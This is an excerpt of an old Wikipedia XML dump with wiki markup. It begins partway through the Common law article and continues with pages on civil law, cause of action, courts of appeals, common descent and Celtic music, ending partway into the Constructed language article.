There are three important connotations to the term.

One is used to distinguish the authority that promulgated a particular proposition of law:  for example, the United States typically has &quot;statutes&quot; enacted by a legislature, &quot;regulations&quot; promulgated by executive branch agencies pursuant to a delegation of rule-making authority from a legislature, and &quot;common law&quot; decisions issued by courts (or quasi-judicial tribunals within agencies) that discuss and decide the fine distinctions in statutes and regulations.  See  [[statutory law]] and [[non-statutory law]].

The second distinguishes &quot;common law&quot; [[jurisdiction]]s (most of which descend from the English legal system) that place great weight on such common law decisions, from &quot;[[civil law (legal system)|civil law]]&quot;, &quot;continental&quot; or &quot;code&quot; jurisdictions, heavily influenced by the 2000 years old [[Roman law]], its study in [[Europe]]an [[university|universities]] and its practice by professional [[lawyer]]s from the [[12th century]] on, and centred on [[code (law)|codes]] like the [[France|French]] [[Napoleonic code]] or the [[Germany|German]] [[Bürgerliches Gesetzbuch|BGB]]). In civil law jurisdictions, the weight accorded to judicial precedent is much less.

The third distinguishes &quot;common law&quot; (or just &quot;law&quot;) from &quot;[[equity]]&quot;.  Until the beginning of the 20th Century, most common law jurisdictions had two parallel court systems, courts of &quot;law&quot; that could only award money damages and recognised only the legal owner of property, and courts of &quot;equity&quot; that recognised [[trusts]] of property and could issue injunctions, orders to do or stop doing something.  Although the separate courts were merged long ago in most jurisdictions, or at least all courts were permitted to apply both law and equity, the distinction between law and equity remains important in categorising and prioritising rights to property, and in the principles that apply to the grant of [[equitable remedies]] by the courts. In the United States, the distinction can determine whether the Sixth Amendment's guarantee of a jury trial applies (a determination of a fact necessary to resolution of a &quot;law&quot; claim) or whether the issue can only be decided by a judge (issues of equity).

Many important areas of law are governed primarily by common law.  For example, in England and Wales and in most states of the United States, the basic law of contracts and torts does not exist in statute, but only in common law.  In almost all areas of the law, statutes may give only terse statements of general principle, but the fine boundaries and definitions exist only in the common law.  To find out what the law is, one has to locate precedent decisions on the topic, and reason from those decisions by analogy.

==History of the common law==
Common law originally developed under the [[adversary system|adversarial system]] in [[England]] from judicial decisions that were based in [[tradition]], [[custom]], and [[precedent]]. Such forms of legal institutions and culture bear resemblance to those which existed historically in continental [[Europe]] and other societies where precedent and custom have at times played a substantial role in the legal process, including [[Germanic law]] recorded in [[Ancient Rome|Roman]] [[history|historical chronicles]]. The form of reasoning used in common law is known as [[casuistry]] or [[case-based reasoning]].  The common law, as applied in [[Civil case|civil cases]] (as distinct from [[Criminal case|criminal cases]]), was devised as a means of [[damages|compensating]] someone for wrongful acts known as [[tort]]s, including both intentional torts and torts caused by [[negligence]], and as developing the body of law recognizing and regulating [[contract]]s. The type of [[procedure]] practised in common law courts is known as the [[adversarial system]]; this is also a development of the common law.   

Before the institutional stability imposed on England by [[William the Conqueror]] in [[1066]], English residents, like those of many other societies, particularly the Germanic cultures of continental Europe, were governed by unwritten local customs that varied from community to community and were enforced in often arbitrary fashion.  For example, [[court]]s generally consisted of informal public assemblies that weighed conflicting claims in a case and, if unable to reach a decision, might require an accused to test guilt or innocence by carrying a red-hot iron or snatching a stone from a cauldron of boiling water or some other &quot;test&quot; of veracity ([[trial by ordeal]]).  If the [[defendant|defendant's]] wound healed within a prescribed period, he was set free as innocent; if not, execution usually followed.

In [[1154]], [[Henry II of England|Henry II]] became the first [[Plantagenet]] king.  Among many achievements, Henry institutionalised common law by creating a unified system of law &quot;common&quot; to the country through incorporating and elevating local custom to the national, ending local control and peculiarities,  eliminating arbitrary remedies, and reinstating a [[jury]] system of citizens sworn on oath to investigate reliable criminal accusations and civil claims.  The jury reached its [[verdict]] through evaluating common local knowledge, not necessarily through the presentation of [[evidence (law)|evidence]], a distinguishing factor from today's civil and criminal court systems.  

Henry II's creation of a powerful and unified court system, which curbed somewhat the power of [[canon law|canonical]] (church) courts, brought him (and England) into conflict with the church, most famously, with [[Thomas Becket]], the [[Archbishop of Canterbury]].  Things were resolved eventually, at least for a time, in Henry's favour when a group of his henchmen murdered Becket.  For its part, the Church soon canonised Becket as a saint.

Thus, in English legal history, judicially-developed &quot;common law&quot; became the uniform authority throughout the realm several centuries before Parliament acquired the power to make laws.

As early as the [[15th century]], it became the practice that litigants who felt they had been cheated by the common-law system would petition the [[Monarch|King]] in person. For example, they might argue that an award of damages (at common law) was not sufficient redress for a trespasser occupying their land, and instead request that the trespasser be evicted. From this developed the system of [[equity]], administered by the [[Lord Chancellor]], in the courts of [[chancery]]. By their nature, equity and law were frequently in conflict and litigation would frequently continue for years as one court countermanded the other, even though it was established by the [[17th century]] that equity should prevail. A famous example is the fictional case of [[Jarndyce and Jarndyce]] in ''[[Bleak House]]'', by [[Charles Dickens]]. 

In England, courts of law and [[equity]] were combined by the [[Judicature Acts]] of [[1873]] and [[1875]], with equity being supreme in case of conflict. In the [[United States]], parallel systems of law (providing money [[damage]]s) and equity (fashioning a remedy to fit the situation) survived well into the [[20th century]] in most jurisdictions. The United States [[federal court]]s separated law and equity until they were combined by the Federal Rules of Civil Procedure in 1937 - the same judges could hear either kind of case, but a given case could only pursue causes in law or in equity, which of course led to all kinds of problems when a given case required both money damages and injunctive relief.  [[Delaware]] still has separate courts of law and equity, and in many [[state]]s there are separate divisions for law and equity within one court.

== Common law legal systems ==
The common law constitutes the basis of the legal systems of: [[England and Wales]], the [[Republic of Ireland]], the states of the [[United States]] (except [[Louisiana]]), [[Canada]] (except [[Quebec]] [[Civil law (legal system)|civil law]]), [[Australia]], [[New Zealand]], [[South Africa]], [[India]], [[Sri Lanka]], [[Malaysia]], [[Brunei]], [[Pakistan]], [[Singapore]], [[Hong Kong]], and many other generally English-speaking countries or [[Commonwealth of Nations|Commonwealth]] countries.  Essentially, every country which has been colonised at some time by [[United Kingdom|Britain]] uses common law except those that had been colonised by other nations, such as Quebec (which follows French law to some extent) and South Africa (which follows Roman Dutch law), where the prior civil law system was retained to respect the civil rights of the local colonists. India's system of common law is also a mixture of [[English law]] and the local [[Hindu law]].

The main alternative to the common law system is the [[civil law (legal system)|civil law]] system, which is used in [[Continental Europe]], and most of the rest of the world. The former Soviet Bloc and other Socialist countries used a [[Socialist law]] system.

The opposition between civil law and common law legal systems has become increasingly blurred, with the growing importance of [[jurisprudence]] (almost like [[case law]] but in name) in civil law countries, and the growing importance of statute law and codes in common law countries (for instance, in matters of criminal and commercial law).

[[Scotland]] is often said to use the civil law system but in fact it has [[Scots law|a unique system]] which combines elements of an uncodified civil law dating back to the [[Corpus Juris Civilis]]  with an element of common law long predating the [[Act of Union (1707)|Treaty of Union]] with England in [[1707]]. Scots common law differs in that the use of ''precedents'' is subject to the courts seeking to discover the principle which justifies a law rather than to search for an example as a ''precedent'' and that the principles of natural justice and fairness have always formed a source of Scots Law. Comparable pluralistic legal systems operate in [[Quebec]], [[Louisiana]] and [[South Africa]]. These systems are referred to as [[mixed legal system]]s.

The [[U.S. state]] of [[California]] has a system based on common law, but it has [[codification|codified]] the law in the manner of the [[civil law (legal system)|civil law]] jurisdictions.  The reason for the enactment of the codes in California in the [[nineteenth century]] was to replace a pre-existing system based on [[Spain|Spanish]] civil law with a system based on common law, similar to that in most other states.  California and a number of other [[Western United States|Western states]], however, have retained the concept of [[community property]] derived from civil law.  The California courts have treated portions of the codes as an extension of the common-law tradition, subject to judicial development in the same manner as judge-made common law.  (Most notably, in the case ''[[Li v. Yellow Cab Co.]]'', 13 Cal.3d 804 ([[1975]]), the [[California Supreme Court]] adopted the principle of [[comparative negligence]] in the face of a [[California Civil Code]] provision codifying the traditional common-law doctrine of [[contributory negligence]].)

The state of [[New York]], which also has a civil law history from its [[Dutch colonization of the Americas|Dutch colonial]] days, also began a [[codification]] of its laws in the 19th century. The only part of this codification process that was considered complete is known as the [[Field Code]] applying to civil procedure.  The original colony of [[New Netherlands]] was settled by the Dutch and the law was also Dutch. When the British captured pre-existing colonies they continued to allow the local settlers to keep their civil law. However, the Dutch settlers revolted against the English and the colony was [[Second Anglo-Dutch War|recaptured]] by the Dutch.  When the English finally regained control of New Netherlands -- as a punishment unique in the history of the British Empire -- they forced the English common law upon all the colonists, including the Dutch.  This was problematic as the [[patroon system]] of land holding, based on the feudal system and civil law, continued to operate in the colony until it was abolished in the mid-nineteenth century.  The influence of [[Roman Dutch law]] continued in the colony well into the late nineteenth century. The codification of a law of general obligations shows how remnants of the civil law tradition in [[New York]] continued on from the Dutch days.

==Basic principles of common law ==
[[Statute]]s which reflect English common law are understood always to be interpreted in light of the common law tradition, and so may leave a number of things unsaid because they are already understood from the point of view of pre-existing [[case law]] and [[custom]]. This can readily be seen in the area of criminal law, which while remaining largely governed by the common law in England, has been entirely codified in many US states. [[Codification]] is the process where a statute is passed with the intention of restating the common law position in a single document rather than creating new offences, so the common law remains relevant to their interpretation. This is why even today American law schools teach the common law of crime as practised in England in [[1750]], since the colonies (and subsequently the states) deviated from the common law as practised in England only after that date. 

By contrast to the statutory codifications of common law, some laws are purely statutory, and may create a new [[cause of action]] beyond the common law.  An example is the [[tort]] of [[wrongful death]], which allows certain persons, usually a [[spouse]], child or [[estate (law)|estate]], to sue for damages on behalf of the deceased.  There is no such tort in English common law; thus, any jurisdiction that lacks a wrongful death statute will not allow a lawsuit for the wrongful death of a loved one.  Where a wrongful death statute exists, the damages or compensation available are limited to those outlined in the statute (typically, an upper limit on the amount of damages).  Courts generally interpret statutes that create new causes of action narrowly -- that is, limited to their precise terms -- because the courts generally recognise the legislature as being supreme in deciding the reach of judge-made law unless such statute should violate some &quot;second order&quot; [[constitutional law]] provision (compare [[judicial activism]]).

Where a tort is rooted in common law, then all damages traditionally recognised historically for that tort may be sued for, whether or not there is mention of those [[damages]] in the current [[statutory law]].  For instance, a person who sustains bodily injury through the [[negligence]] of another may sue for medical costs, pain, suffering, loss of earnings or earning capacity, mental and/or emotional distress, loss of quality of life, disfigurement, and more.  These damages need not be set forth in statute as they already exist in the tradition of common law. However, without a wrongful death statute, most of them are extinguished upon death.

==Works on the common law==
The definitive historical treatise on the common law is ''[[Commentaries on the Laws of England]]'', written by Sir [[William Blackstone]] and first published in [[1765]] - [[1769]].  Since [[1979]] a facsimile edition of that first edition has been available in four paper-bound volumes. Today it has been superseded in the English part of the [[United Kingdom]] by [[Halsbury's Laws of England]] that covers both common and statutory English law. 

The U.S. Supreme Court Justice [[Oliver Wendell Holmes Jr.]] also published a short volume called ''[[The Common Law]]'' which remains a classic in the field.  In the United States, the [[Corpus Juris Secundum]] is a compendium of the common law and its variations throughout the various state jurisdictions.  The [[American Law Institute]] publishes Restatements of the common law which are often cited by American courts and lawyers when they need to invoke uncodified common law doctrines.

Scots ''common law'' covers matters including murder and theft, and has sources in custom, in legal writings and in previous court decisions. The legal writings used are called ''Institutional Texts'' and come mostly from the 17th, 18th and 19th centuries. Examples include Craig, ''Jus Feudale'' (1655) and Stair, ''The Institutions of the Law of Scotland'' (1681).

==See also==
*[[Arraignment]]
*[[Civil law (legal system)]]
*[[Common-law marriage]]
*[[English law]]
*[[Grand jury]]
*[[Jury trial]]
*[[List of legal topics]]
*[[Scots law]]

==External links==
*[http://biotech.law.lsu.edu/Books/Holmes/claw_c.htm ''The Common Law''] by Oliver Wendell Holmes Jr.
*{{gutenberg|no=2449|name=The Common Law ''by Oliver Wendell Holmes Jr.'}}
*[http://www.great-legal-advice.com/criminal-law/civil-and-common-law.htm Common law]
*[http://ausicl.com The Australian Institute of Comparative Legal Systems]

[[Category:Common law| ]]
[[Category:Legal history]]

[[de:Common Law]]
[[et:Üldine õigus]]
[[es:Derecho anglosajón]]
[[fr:Common law]]
[[id:Common law]]
[[it:Common Law]]
[[he:המשפט המקובל]]
[[nl:Common law]]
[[ja:コモン・ロー]]
[[pl:Common law]]
[[pt:Common-law]]
[[ru:Общее право]]
[[fi:Tapaoikeus]]
[[zh:英美法系]]</text>
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  <page>
    <title>Civil law</title>
    <id>5255</id>
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        <username>Gdr</username>
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      <comment>put into disambig style; add [[civil code]]</comment>
      <text xml:space="preserve">'''Civil law''' may refer to:

* [[Civil law (legal system)]], a system of law based on the [[Corpus Juris Civilis]] prevalent in continental Europe, Central and South America, Quebec and Louisiana. In this sense the term is opposed to [[common law]].
* A [[civil code]], a systematic compilation of laws in core areas of private law (typically in a civil law system).
* [[Civil law (common law)]], the area of law in a common law system governing relations between private individuals. In this sense the term is opposed to [[criminal law]] and other areas of [[public law]].
* Laws imposed by the state. In this sense it is opposed to [[natural law]].

{{disambig}}

[[de:Privatrecht]]
[[es:Derecho civil]]
[[eo:Civila juro]]
[[fr:Droit civil]]
[[ko:민법]]
[[it:Diritto civile]]
[[he:המשפט הקונטיננטלי]]
[[lt:Civilinė teisė]]
[[nl:Burgerlijk recht]]
[[ja:民法]]
[[nn:Privatrecht]]
[[pl:Prawo cywilne]]
[[pt:Direito civil]]
[[ru:Гражданское право]]
[[sl:Civilno pravo]]
[[uk:Цивільне право]]
[[zh:民法]]</text>
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  </page>
  <page>
    <title>Cause of action</title>
    <id>5256</id>
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        <username>Mmmbeer</username>
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      <comment>Add civil procedure template</comment>
      <text xml:space="preserve">{{CivilProcedure}}
In the law, a '''cause of action''' is a recognized kind of legal claim that a plaintiff [[pleading|pleads]] or [[allegation|alleges]] in a complaint to start a lawsuit.  Examples are: [[breach of contract]]; [[torts]] such as [[personal injury|injury]], [[invasion of privacy]], [[fraud]], [[defamation|slander]], [[malpractice]], [[intentional infliction of emotional distress]]; suits at [[equity]].  &quot;Cause of action&quot; encompasses both the ''[[legal theory]]'' of what legal wrong the plaintiff claims to have suffered, and the ''[[remedy]],'' which is what a court is allowed to order the defendant to do to compensate the plaintiff for that wrong.

The points a plaintiff must prove to win a given type of case are called the &quot;elements&quot; of that cause of action.  For the cause of action of [[negligence]], for example, the elements are (existence of a) [[duty]], breach (of that duty), causation (by that breach), and [[damages]] (incurred by the plaintiff).  If a complaint does not allege facts to support every element of the cause of action it describes, the court will dismiss the complaint for ''failure to state a claim,'' for which relief can be granted.

The respondent to a cause of action may plead denials or [[affirmative defense]]s. Most defenses must be raised in the pleadings or by motion or are waived at trial. A few defenses, in particular a court's lack of subject matter [[jurisdiction]], need not be pleaded and may be raised at any time. 

{{law-stub}}

[[Category:Civil procedure]]</text>
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  <page>
    <title>Court of Appeals</title>
    <id>5257</id>
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      <id>42005407</id>
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      <contributor>
        <username>Thesocialistesq</username>
        <id>652778</id>
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      <text xml:space="preserve">{{mergefrom|Court of Appeal}}

'''Court of Appeals''' or (outside the United States) '''Court of Appeal''' is the title of a court which has the power to consider or hear an [[appeal]]. A court of appeal is also a [[superior court]].

==The United States==
The thirteen [[United States Court of Appeals|United States Courts of Appeals]] stand between the [[United States District Court]]s (or other comparable federal courts, such as the [[Court of International Trade]]) and the [[Supreme Court of the United States|United States Supreme Court]].

Each [[U.S. state|state]] has decided upon its own particular appellate structure.

In the state of [[New York]], for example, the Court of Appeals is the highest court in the state and the court of last resort within the State. Only cases raising questions of federal law can be appealed from there to the United States Supreme Court.  Similarly, in the [[Washington, D.C.|District of Columbia]], the [[District of Columbia Court of Appeals|Court of Appeals]] is equivalent to a [[state supreme court]].

In [[California]], the intermediate appellate courts are known as the Courts of Appeal (note the lack of an &quot;s&quot;).

In [[New Mexico]], the Court of Appeals is the intermediate appellate court between county jurisdictions and the state's Supreme Court.  Most states that have a Court of Appeals (or multiple Courts) give them a similar intermediate role.  

In [[Nevada]] (and a few other states), there is no Court of Appeals.  Cases are appealed directly from District (county) Courts to the state's Supreme Court.  The state Supreme Court in that case must hear all appeals.

The general rule in the American justice system is that the loser deserves one appeal.  Therefore, such intermediate courts usually have [[mandatory jurisdiction]] and must hear an appeal, while the state supreme court (or the U.S. Supreme Court in the federal system) has [[discretionary jurisdiction]] and hears an appeal only if it wants to.  There exist some special exceptions to this rule.  In some state courts, the state's supreme court is required by law to hear all appeals of a certain nature.  These cases usually involve the death penalty or cases involving high-ranking government officials.

==Elsewhere==
Some countries within the [[Commonwealth of Nations]] have courts by the name of the [[Courts of England and Wales|Court of Appeal]] above the High Court and below the [[court of last resort]] (which may be the [[Judicial functions of the House of Lords|House of Lords]], the [[Judicial Committee of the Privy Council]], etc.). For a fuller treatment, see [[Courts of England and Wales]].

In [[Canada]] the Court of Appeal is the highest court in most of the country's provincial jurisdictions. The [[Supreme Court of Canada]], the country's court of last resort, is the only court higher than any of the provincial or territorial courts of appeal. The chief justice of the appellate court is styled Chief Justice of [the Name of the Province]. 

In [[France]] the Courts of Appeals are one level under the [[Cour de cassation]], which is the [[court of last resort]]. There exist administrative Courts of Appeal, under the [[Conseil d'État]], for cases belonging to the administrative order.

In [[Germany]], with civil and criminal cases, the highest court in a hierarchy of appellate courts is the ''[[Bundesgerichtshof]]''. The other branches of the German [[judicial branch]] for social, labor, and administrative cases each have their own appellate systems. The ''Bundesgerichtshof'' is distinct from the [[Federal Constitutional Court of Germany]], which only performs [[judicial review]], although both courts are located in [[Karlsruhe]].

==See also==
*[[List of legal topics]]

[[Category:Court systems]]</text>
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    <title>Computer Storage</title>
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        <ip>Conversion script</ip>
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      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Computer storage]]
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  <page>
    <title>Common descent</title>
    <id>5259</id>
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      <comment>Revert to revision 39939403 using [[:en:Wikipedia:Tools/Navigation_popups|popups]]</comment>
      <text xml:space="preserve">A group of organisms is said to have '''common descent''' if they have a common [[ancestor]]. In [[biology]], the theory of ''universal common descent'' proposes that all [[organism]]s on [[Earth]] are descended from a common ancestor or ancestral gene pool.{{ref|transfer}}

A theory of '''universal common descent''' based on [[evolution|evolutionary]] principles was proposed by [[Charles Darwin]] in his book [[The Origin of Species]] ([[1859]]), and later in ''[[The Descent of Man and Selection in Relation to Sex|The Descent of Man]]'' ([[1871]]).
This theory is now generally accepted by biologists, and the [[last universal ancestor|last universal common ancestor]] (LUCA or LUA), that is, the [[most recent common ancestor]] of all currently living organisms, is believed to have appeared about [[Timeline of evolution|3.5 billion years ago]] (see: [[origin of life]]).

== History ==
The first suggestion that all organisms may have had a common ancestor and diverged through random variation and natural selection was made in [[1745]] by the French mathematician and scientist
[[Pierre-Louis Moreau de Maupertuis]] (1698-1759) in his work ''Vénus physique''.  Specifically:
:&quot;Could one not say that, in the fortuitous combinations of the productions of nature, as there must be some characterized by a certain relation of fitness which are able to subsist, it is not to be wondered at that this fitness is present in all the species that are currently in existence? Chance, one would say, produced an innumerable multitude of individuals; a small number found themselves constructed in such a manner that the parts of the animal were able to satisfy its needs; in another infinitely greater number, there was neither fitness nor order: all of these latter have perished. Animals lacking a mouth could not live; others lacking reproductive organs could not perpetuate themselves... The species we see today are but the smallest part of what blind destiny has produced...&quot; 

In [[1790]], [[Immanuel Kant]] (Königsberg (Kaliningrad) 1724 - 1804), in his ''Kritik der Urtheilskraft'', states that the analogy of animal forms implies a common original type and thus a common parent.

In [[1795]], Charles Darwin's grandfather, [[Erasmus Darwin]], hypothesized that all warm-blooded animals were descended from a single &quot;living filament&quot;:
:&quot;...would it be too bold to imagine, that all warm-blooded animals have arisen from one living filament, which THE GREAT FIRST CAUSE endued with animality...?&quot; (''Zoonomia'', 1795, section 39, &quot;Generation&quot;)

In [[1859]], Charles Darwin's ''The Origin of Species'' was published. The views about common descent expressed therein vary between suggesting that there was a single &quot;first creature&quot; to allowing that there may have been more than one. Here are the relevant quotations from the ''Conclusion'':

:&quot;[P]robably all of the organic beings which have ever lived on this earth have descended from some one primordial form, into which life was first breathed.&quot;

:&quot;The whole history of the world, as at present known, ... will hereafter be recognised as a mere fragment of time, compared with the ages which have elapsed since the first creature, the progenitor of innumerable extinct and living descendants, was created.&quot;

:&quot;When I view all beings not as special creations, but as the lineal descendants of some few beings which lived long before the first bed of the Silurian system was deposited, they seem to me to become ennobled.&quot;

The famous closing sentence describes the &quot;grandeur in this view of life, with its several powers, having been originally breathed into a few forms or into one.&quot;  The phrase &quot;one form&quot; here seems to hark back to the phrase &quot;some few beings&quot;; in any case, the choice of words is remarkable for its consistency with recent ideas about there having been a single ancestral &quot;genetic pool&quot;.

More recently, scientists such as [[Francis Crick]] have postulated that the universal common ancestor could have come from space ([[panspermia]]). He was led to this conclusion by the universality of the [[genetic code]] (see below).

== Evidence for common descent ==
===Universality and similarity===
The universality of the [[genetic code]] is generally regarded by biologists as definitive evidence in favor of the theory of universal common descent ('''UCD''') for all [[bacterium|bacteria]], [[archaea]], and [[eukaryote]]s (see [[Three domain system]]). Analysis of the small differences in the genetic code has also provided support for UCD.{{ref|UCD}}

Another important piece of evidence is the fact that it is possible to construct a detailed phylogenetic tree for all three domains based on similarity. One such tree showing the paths of descent from a common ancestor is depicted in the article on [[phylogenetic tree]]s. Exactly how [[virus]]es fit into the picture is still uncertain, especially since some are based on [[RNA]] rather than [[DNA]]. However, viruses are not usually regarded as organisms.

The universality of [[adenosine triphosphate|ATP]], and the fact that all [[amino acid]]s found in proteins are left-handed, are also important pieces of evidence.

===The argument from irrelevant differences===
There are very strong pieces of evidence for UCD based on universality and similarity, but such arguments become complicated because they run into a potential difficulty. Namely that:
*universality might be the result of the laws of physics and chemistry, rather than universal common descent;
*similarity might be the result of convergent evolution.

The simplest way to circumvent such difficulties would be to produce evidence based on &quot;irrelevant differences&quot;, that is, differences which have no relevance to evolution and therefore cannot be explained by convergence.

Such evidence has come from two domains &amp;mdash; amino acid sequences and DNA sequences:
# [[Proteins]] with the same 3-d structure need not have identical [[amino acid]] sequences; any irrelevant similarity between the sequences is evidence for common descent.
# In certain cases, there are several codons (DNA triplets) that code for the same amino acid. Thus, if two species use the same [[codon]] at the same place to specify an amino acid that can be represented by more than one codon, that is evidence for recency of a common ancestor.

== Footnotes ==
# {{note|transfer}} The earliest life-like forms probably exchanged genetic material laterally in a manner that is analogous to [[Horizontal gene transfer|lateral gene transfer]] amongst bacteria. For this and other reasons, the most recent common ancestor may have been a genetic pool rather than an organism.
# {{note|UCD}} Robin Knight et. al., (2001) &quot;Rewiring The Keyboard: Evolvability Of The Genetic Code,&quot; ''Nature Reviews - Genetics''. 2: 49-58.

==External links==
*[http://tolweb.org/tree/phylogeny.html The Tree of Life Web Project]

*[http://www.talkorigins.org/faqs/comdesc/ 29+ Evidences for Macroevolution: the Scientific Case for Common Descent]
*[http://www.actionbioscience.org/newfrontiers/poolearticle.html What is the Last Universal Common Ancestor?] 
*[http://search.barnesandnoble.com/bookSearch/isbnInquiry.asp?r=1&amp;isbn=0198547811 Evolution of the Genetic Code, Book:  Excellent description of protein coding in mitochondria, thermophiles, etc.]

{{origin_of_life}}

[[Category:Evolutionary biology]]

[[fr:Last universal common ancestor]]
[[pt:Origem comum]]</text>
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  <page>
    <title>Celtic music</title>
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      <text xml:space="preserve">{{Celticmusic}}
'''''Celtic music''''' is a broad grouping of [[musical genre]]s that evolved out of the [[folk music]]al traditions of the [[Celtic people]]s of [[Western Europe]]. The term ''Celtic music'' may refer to both orally-transmitted traditional music and recorded [[popular music]] with only a superficial resemblance to folk styles of the Celtic peoples.

Most typically, the term ''Celtic music'' is applied to the [[music of Ireland]] and [[music of Scotland|Scotland]], because both places have produced well-known distinctive styles which actually have genuine commonality and clear mutual influences.  The [[music of Wales]], [[music of Cornwall|Cornwall]], [[music of the Isle of Man|Isle of Man]], [[music of Brittany|Brittany]], [[music of Northumbria|Northumbria]] and [[music of Galicia, Cantabria and Asturias|Galicia]] are also frequently considered a part of ''Celtic music'', the Celtic tradition being particularly strong in Brittany, where Celtic festivals large and small take place throughout the year. Finally, the music of ethnically Celtic peoples abroad are also considered, especially [[Celtic music in Canada|in Canada]] and the [[Celtic music in the United States|United States]].

== Divisions ==

In ''Celtic Music: A Complete Guide'', June Skinner Sawyers acknowledges six Celtic nationalities divided into two groups according to their linguistic heritage. The [[Q-Celtic]] nationalities are the [[Irish people|Irish]], [[Scottish people|Scottish]] and [[Manx people|Manx]] peoples, while the [[P-Celtic]] groups are the [[Cornish people|Cornish]], [[Breton people|Bretons]] and [[Welsh people|Welsh peoples]].  Sawyer also mentions the Celtiberian languages as part of P-Celtic.

The Breton musician [[Alan Stivell]] uses a similar dichotomy, between the Gaelic (Irish and Scottish) branch and the Brythonic (Breton and Welsh) group, which differentiate &quot;mostly by the extended range (sometimes more than two octaves) of Irish and Scottish melodies and the closed range of Breton and Welsh melodies (often reduced to a half-octave), and by the frequent use of the pure pentatonic scale in Gaelic music&quot; {{ref|Stivellondivision}}.

== Definition debate ==

At issue is the lack of many common threads uniting the &quot;Celtic&quot; peoples listed above. While the ancient [[Celt]]s undoubtedly had their own musical styles, these have grown and evolved to the point where considering any modern styles reminiscent of ancient Celtic music is misleading. There is also tremendous variation between Celtic regions. Ireland, Scotland, Wales, and Brittany have living traditions of language and music, whereas Cornwall and the Isle of Man have only revivalist movements that have yet to take hold. Galicia has no Celtic language (Galician is a [[Romance language]] closest to [[Portuguese language|Portuguese]]),  but Galician music is often claimed to be &quot;Celtic.&quot; Thus traditionalists and most [[musicology|musicological]] scholars dispute that the &quot;Celtic&quot; lands have any folk connections to each other.  A strong case can be made that the similarities between the various musics called &quot;Celtic&quot; derive more from a common origin in the vernacular music of late mediaeval and early modern Europe than from any innate Celticity.

Many critics of the idea of modern Celtic music claim that the idea is the creation of modern [[marketing]] designed to stimulate regional identity in the creation of a [[consumer]] [[niche]]; June Skinner Sawyers, for example, notes that &quot;Celtic music is a marketing term that I am using, for the purposes of this book, as a matter of convenience, knowing full well the cultural baggage that comes with it&quot;.

== Forms ==

Identifying &quot;common characteristics&quot; of Celtic music is problematic. Most of the popular musical forms now thought of as characteristically &quot;Celtic&quot; were once common in many places in Western Europe. [[Jigs]] were adapted from Italian music, for example, and [[polka]]s have their origin in Czech and Polish tradition.

On the other hand, there are musical genres and styles specific to each Celtic country, due in part to the influence of individual song traditions and the characteristics of specific languages. [[Strathspey|Strathspeys]] are specific to Highland Scotland, for example, and mimic the rhythms of the [[Scottish Gaelic]] language.

== Festivals ==
The Celtic music scene involves a large number of [[music festival]]s. Some of the most prominent include [[Festival Internacional do Mundo Celta de Ortigueira]] ([[Ortigueira]], [[Galicia (Spain)|Galicia]]), [[Celtic Colours]] ([[Cape Breton, Nova Scotia]]), [[Celtic Connections]] ([[Glasgow]]) and [[Festival Interceltique]] ([[Lorient]], [[Brittany]]).

== Modern Adaptations ==
Starting in 1982 with [[The Pogues]] invention of Celtic folk-punk, there has been a movement to incorporate [[Celt|Celtic]] influences into other genres of music.  [[Marxman]], an Irish-Jamaican hip hop group that gained notoriety in Britain in the late 1980's and was banned from the [[BBC]] for including [[Provisional Irish Republican Army|I.R.A.]] slogans in their music, sampled traditional Celtic instruments in several of their songs as well.  Seanaid O'Conner has also been active in the ;fusion' movement and incorporated a wide range of modern and traditional influences into her music.  In Scotland [[Gaelic punk]] bands such as [[Oi Polloi]] and [[Mill a h-Uile Rud]] that write and perform in [[Scottish Gaelic language|Scots Gaelic]] have recently gained popularity as well.  Today there are Celtic-influenced sub genres of virtually every type of popular music, from [[House]] to [[Trance music|Trance]], [[Hip hop music|hip hop]] to [[Punk Rock]].  Collectively these modern interpretations of Celtic music are sometimes referred to as [[Celtic Fusion]].



== Notes ==
# {{note|Stivellondivision}} translation by Steve Winick

==References==
*[http://pobox.upenn.edu/~teachnet/Bretonjaf/bretonjaf1.html Steve Winick]
*{{cite book|author=Sawyers, June Skinner|title=Celtic Music: A Complete Guide|year=2000|publisher=Da Capo Press|id=ISBN 0306810077}}

==External links==
*[http://www.ubu.com/ethno/soundings/masters.html UbuWeb Ethnopoetics:] [[Canntaireachd]]
*[http://www.ubu.com/ethno/soundings/celtic.html UbuWeb Ethnopoetics: Celtic Mouth Music]
*[http://www.last.fm/tag/celtic Last.fm Celtic top artists]
*[http://www.austincelts.org/ Austin Celtic Association and Austin Celtic Festival]

[[Category:Celtic music]] [[Category:Musical genres]]
[[es:Música celta]]
[[he:מוזיקה קלטית]]
[[it:Musica celtica]]
[[pl:Muzyka celtycka]]
[[pt:Música celta]]</text>
    </revision>
  </page>
  <page>
    <title>Constructed language</title>
    <id>5262</id>
    <revision>
      <id>41299752</id>
      <timestamp>2006-02-26T10:56:54Z</timestamp>
      <contributor>
        <username>Roland2</username>
        <id>156887</id>
      </contributor>
      <comment>[[la:Lingua artificiosa]] Vicipaedia Latina</comment>
      <text xml:space="preserve">{{portalpar|Constructed languages}}
An '''artificial''' or '''constructed language''' (known colloquially as a '''conlang''' among [[aficionado]]s), is a [[language]] whose [[phonology]],  [[grammar]] and [[vocabulary]] are specifically devised by an individual or small group, rather than having naturally evolved as part of a [[culture]] the way [[natural language]]s do.  Some are designed for use in human [[communication]] (usually to function as [[international auxiliary language]]s), but others are created for use in fiction, [[linguistics|linguistic]] experimentation, secrecy ([[code]]s), or for the experience of doing so ([[artistic language]]s, [[Language game (linguistics)|language games]]). These languages are sometimes associated with [[constructed world]]s.

The synonym '''''planned language''''' is sometimes used when referring to [[international auxiliary language]]s, and by those who may object to the more common term &quot;artificial&quot;. Some speakers of [[Esperanto]] avoid the term &quot;artificial language&quot; because they deny that there is something &quot;unnatural&quot; in communicating in this language.  However,  outside the [[Esperanto community]] the term [[language planning]] refers to prescriptive measures taken regarding a natural language. In this regard, even &quot;natural languages&quot; may be submitted to a certain amount of artificiality, and in the case of [[prescriptive grammar]]s, the line is difficult to draw.

==Overview ==

Constructed languages are often divided into '''''[[a priori]]'' languages''', in which much of the grammar and vocabulary is created from scratch (using the author's imagination or automatic computational means), and '''''[[a posteriori]]'' languages''', where the grammar and vocabulary are derived from one or more natural languages.

Fictional and experimental languages can also be naturalistic, in the sense that they are meant to sound natural and, if derived ''a posteriori'', they try to follow natural rules of [[phonology|phonological]], lexical and [[grammar|grammatical]] change. Since these languages are not usually intended for easy learning or communication, a naturalistic fictional language tends to be more difficult and complex, not less (because it tries to mimic common behaviours of natural languages such as irregular verbs and nouns, complicated phonological rules, etc.).

